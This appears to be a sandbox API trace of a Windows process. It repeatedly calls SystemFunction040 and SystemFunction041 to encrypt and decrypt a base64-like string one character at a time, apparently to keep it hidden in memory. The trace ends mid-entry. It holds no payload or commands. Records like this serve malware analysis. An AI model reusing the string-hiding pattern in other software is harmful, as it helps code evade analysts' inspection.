[0132.956] SysStringLen (param_1="\xc914\x62d0\x7446\xa07f\x3955\x9add\xebc\xbef0") returned 0x8 [0132.956] SysStringLen (param_1="\xc914\x62d0\x7446\xa07f\x3955\x9add\xebc\xbef0") returned 0x8 [0132.956] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.956] SysStringLen (param_1="RV7F") returned 0x8 [0132.956] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.956] SysStringLen (param_1="\xa784\x9fa6\xb644\x8b96\x5c1c\x87b4\x8d1c\xb306") returned 0x8 [0132.956] SysStringLen (param_1="\xa784\x9fa6\xb644\x8b96\x5c1c\x87b4\x8d1c\xb306") returned 0x8 [0132.956] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.956] SysStringLen (param_1="RV7Fj") returned 0x8 [0132.956] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.956] SysStringLen (param_1="\xfd35\x1fa0\xe989\xf941\x5b95\x3792\xd5d9\xc38d") returned 0x8 [0132.956] SysStringLen (param_1="\xfd35\x1fa0\xe989\xf941\x5b95\x3792\xd5d9\xc38d") returned 0x8 [0132.956] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.956] SysStringLen (param_1="RV7FjE") returned 0x8 [0132.956] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.956] SysStringLen (param_1="\x4106\x8e4f\xdaf2\xa2ca\xfd19\xbc29\xf251\x61f5") returned 0x8 [0132.957] SysStringLen (param_1="\x4106\x8e4f\xdaf2\xa2ca\xfd19\xbc29\xf251\x61f5") returned 0x8 [0132.957] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.957] SysStringLen (param_1="RV7FjEG") returned 0x8 [0132.957] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.957] SysStringLen (param_1="\x79d4\xaf73\x8bf5\xc9ef\x6f8a\xdb\xcacc\xcd23") returned 0x8 [0132.957] SysStringLen (param_1="\x79d4\xaf73\x8bf5\xc9ef\x6f8a\xdb\xcacc\xcd23") returned 0x8 [0132.957] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.957] SysStringLen (param_1="RV7FjEGT") returned 0x8 [0132.957] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0132.957] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad") returned 0x8 [0132.957] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad") returned 0x8 [0132.957] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad") returned 0x8 [0132.957] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad") returned 0x10 [0132.957] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.957] SysStringLen (param_1="RV7FjEGTp▒璗ኞ籷㿙꥾") returned 0x10 [0132.957] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.957] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\xa14d\x2b29\x740f\xcf38\xa405\xe9c2\xe72c\xb900") returned 0x10 [0132.957] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\xa14d\x2b29\x740f\xcf38\xa405\xe9c2\xe72c\xb900") returned 0x10 [0132.957] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.957] SysStringLen (param_1="RV7FjEGTpv璗ኞ籷㿙꥾") returned 0x10 [0132.957] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.958] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x3821\x5abe\xc4d5\xc578\x4957\x9bfd\xfa13\x8219") returned 0x10 [0132.958] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x3821\x5abe\xc4d5\xc578\x4957\x9bfd\xfa13\x8219") returned 0x10 [0132.958] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.958] SysStringLen (param_1="RV7FjEGTpvMኞ籷㿙꥾") returned 0x10 [0132.958] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.958] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x5635\xf05f\x736c\x68ec\xa733\xdf2a\x3713\x1402") returned 0x10 [0132.958] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x5635\xf05f\x736c\x68ec\xa733\xdf2a\x3713\x1402") returned 0x10 [0132.958] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.958] SysStringLen (param_1="RV7FjEGTpvMu籷㿙꥾") returned 0x10 [0132.958] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.958] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x5556\xeef7\xd55\xd29c\x4d50\x7cea\x6151\xb932") returned 0x10 [0132.958] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x5556\xeef7\xd55\xd29c\x4d50\x7cea\x6151\xb932") returned 0x10 [0132.958] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.958] SysStringLen (param_1="RV7FjEGTpvMuM㿙꥾") returned 0x10 [0132.958] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.958] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x79d1\x351c\x920b\xb729\x94bc\x25a5\x6c14\x5f04") returned 0x10 [0132.958] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x79d1\x351c\x920b\xb729\x94bc\x25a5\x6c14\x5f04") returned 0x10 [0132.958] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.958] SysStringLen (param_1="RV7FjEGTpvMuM4㿙꥾") returned 0x10 [0132.959] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.959] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x9c23\x4be5\x89b6\xbdd6\x905f\x61d5\x31c8\xf3cc") returned 0x10 [0132.959] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x9c23\x4be5\x89b6\xbdd6\x905f\x61d5\x31c8\xf3cc") returned 0x10 [0132.959] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.960] SysStringLen (param_1="RV7FjEGTpvMuM41꥾") returned 0x10 [0132.960] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.960] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\xff72\xf7fc\x1eb6\xb2a\xef2c\x464a\x16da\xeeb") returned 0x10 [0132.960] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\xff72\xf7fc\x1eb6\xb2a\xef2c\x464a\x16da\xeeb") returned 0x10 [0132.960] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.960] SysStringLen (param_1="RV7FjEGTpvMuM41P") returned 0x10 [0132.960] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0132.960] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c") returned 0x10 [0132.960] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c") returned 0x10 [0132.960] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c") returned 0x10 [0132.960] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c") returned 0x18 [0132.960] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.960] SysStringLen (param_1="RV7FjEGTpvMuM41PZ䥛艮錄陝⣁淆嚏") returned 0x18 [0132.960] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.960] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x184e\x63c7\x6182\xa966\xded8\x2bb4\x5c5b\xd861") returned 0x18 [0132.960] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x184e\x63c7\x6182\xa966\xded8\x2bb4\x5c5b\xd861") returned 0x18 [0132.960] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.960] SysStringLen (param_1="RV7FjEGTpvMuM41PZL艮錄陝⣁淆嚏") returned 0x18 [0132.960] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.961] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\xddb9\x5b68\xb8e6\xdc78\x55a7\x1ac0\x1c21\x85d2") returned 0x18 [0132.961] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\xddb9\x5b68\xb8e6\xdc78\x55a7\x1ac0\x1c21\x85d2") returned 0x18 [0132.961] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.961] SysStringLen (param_1="RV7FjEGTpvMuM41PZLz錄陝⣁淆嚏") returned 0x18 [0132.961] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.961] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\xb316\x6bc1\x2626\xf95c\x418d\xf397\xcbf6\xcff0") returned 0x18 [0132.961] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\xb316\x6bc1\x2626\xf95c\x418d\xf397\xcbf6\xcff0") returned 0x18 [0132.961] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.961] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzY陝⣁淆嚏") returned 0x18 [0132.961] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.961] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\xb9b6\xbf6b\x9d6a\xd9a1\x45dc\xc9a3\x836e\x1960") returned 0x18 [0132.961] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\xb9b6\xbf6b\x9d6a\xd9a1\x45dc\xc9a3\x836e\x1960") returned 0x18 [0132.961] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.961] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYf⣁淆嚏") returned 0x18 [0132.961] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.961] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\xec16\x9a8c\xd28f\x579b\xc8d5\x3ae9\x67a7\x6d02") returned 0x18 [0132.961] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\xec16\x9a8c\xd28f\x579b\xc8d5\x3ae9\x67a7\x6d02") returned 0x18 [0132.961] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.961] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM淆嚏") returned 0x18 [0132.961] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.961] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\xf0f8\x7832\x3ee6\x9101\x7a4f\x4194\x481a\xf3d5") returned 0x18 [0132.961] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\xf0f8\x7832\x3ee6\x9101\x7a4f\x4194\x481a\xf3d5") returned 0x18 [0132.962] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.962] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0嚏") returned 0x18 [0132.962] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.962] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x3c41\x518d\x3433\x8715\x4889\xc6bd\x6ab2\xdabf") returned 0x18 [0132.962] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x3c41\x518d\x3433\x8715\x4889\xc6bd\x6ab2\xdabf") returned 0x18 [0132.962] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.962] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0M") returned 0x18 [0132.962] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0132.962] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e") returned 0x18 [0132.962] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e") returned 0x18 [0132.962] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e") returned 0x18 [0132.962] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e") returned 0x20 [0132.962] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.962] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0My쏙谢밾ᣗ濒䷪ᖭ") returned 0x20 [0132.962] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.962] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\xf1be\x38de\x5a8b\x70bc\x60f4\x17cb\xd7c6\x3ab") returned 0x20 [0132.962] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\xf1be\x38de\x5a8b\x70bc\x60f4\x17cb\xd7c6\x3ab") returned 0x20 [0132.962] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.962] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MyS谢밾ᣗ濒䷪ᖭ") returned 0x20 [0132.962] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.963] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\xd027\x5c96\x4de7\xc4b8\x489e\x6400\x9fb3\x8f33") returned 0x20 [0132.963] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\xd027\x5c96\x4de7\xc4b8\x489e\x6400\x9fb3\x8f33") returned 0x20 [0132.963] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.963] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySX밾ᣗ濒䷪ᖭ") returned 0x20 [0132.963] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.963] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x3af0\xa60b\x786b\x1087\xd8a5\xd689\x1a90\xd7c1") returned 0x20 [0132.963] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x3af0\xa60b\x786b\x1087\xd8a5\xd689\x1a90\xd7c1") returned 0x20 [0132.963] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.963] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySXcᣗ濒䷪ᖭ") returned 0x20 [0132.963] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.963] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x7db1\x2051\x36c2\x2008\xdbaf\x80cd\xd167\xfa21") returned 0x20 [0132.963] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x7db1\x2051\x36c2\x2008\xdbaf\x80cd\xd167\xfa21") returned 0x20 [0132.963] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.963] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySXcL濒䷪ᖭ") returned 0x20 [0132.963] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.963] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x7419\x406\x3459\x9d9f\x6654\xbfd2\xf786\x6a1a") returned 0x20 [0132.963] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x7419\x406\x3459\x9d9f\x6654\xbfd2\xf786\x6a1a") returned 0x20 [0132.963] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.963] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySXcLt䷪ᖭ") returned 0x20 [0132.963] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.963] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x58e5\xbd88\x632f\xf5ff\x6ab4\xeef0\xa9f\x7fa5") returned 0x20 [0132.963] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x58e5\xbd88\x632f\xf5ff\x6ab4\xeef0\xa9f\x7fa5") returned 0x20 [0132.964] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.964] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySXcLt+ᖭ") returned 0x20 [0132.964] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.964] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x5a4\x7246\xc42d\x15d6\xa55f\x454b\x272f\x71de") returned 0x20 [0132.964] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x5a4\x7246\xc42d\x15d6\xa55f\x454b\x272f\x71de") returned 0x20 [0132.964] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.964] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySXcLt+c") returned 0x20 [0132.964] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0132.964] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85") returned 0x20 [0132.964] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85") returned 0x20 [0132.964] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85") returned 0x20 [0132.964] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\x5a\x69\x72\x59\x74\x30\x58\x74") returned 0x28 [0132.964] SystemFunction041 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0132.964] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySXcLt+c1㖷ᜬኒ䰽₧㨾") returned 0x28 [0132.964] SystemFunction040 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0132.964] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\xbdd7\x2c47\x3b6d\x21d3\x5fa3\xdcf5\x5c43\xe4ca") returned 0x28 [0132.964] SysStringLen (param_1="\x9bd5\x25b8\x7df\x1398\xb8b7\xf933\x7a22\x99ad\x475e\x4971\xf126\xf839\x529d\x3c54\x283d\x665c\x7b88\xc3f3\xff6a\xbd38\xdc17\x7b47\x811\x257e\x253f\x2f8b\xde9b\xee7e\xc0aa\xa408\x28af\xab85\xbdd7\x2c47\x3b6d\x21d3\x5fa3\xdcf5\x5c43\xe4ca") returned 0x28 [0132.964] SystemFunction041 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0132.964] SysStringLen (param_1="RV7FjEGTpvMuM41PZLzYfM0MySXcLt+c1Yᜬኒ䰽₧㨾") returned 0x28 [0132.964] SystemFunction040 (in: Memory=0x4383abc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383abc) returned 0x0 [0132.965] SysStringLen 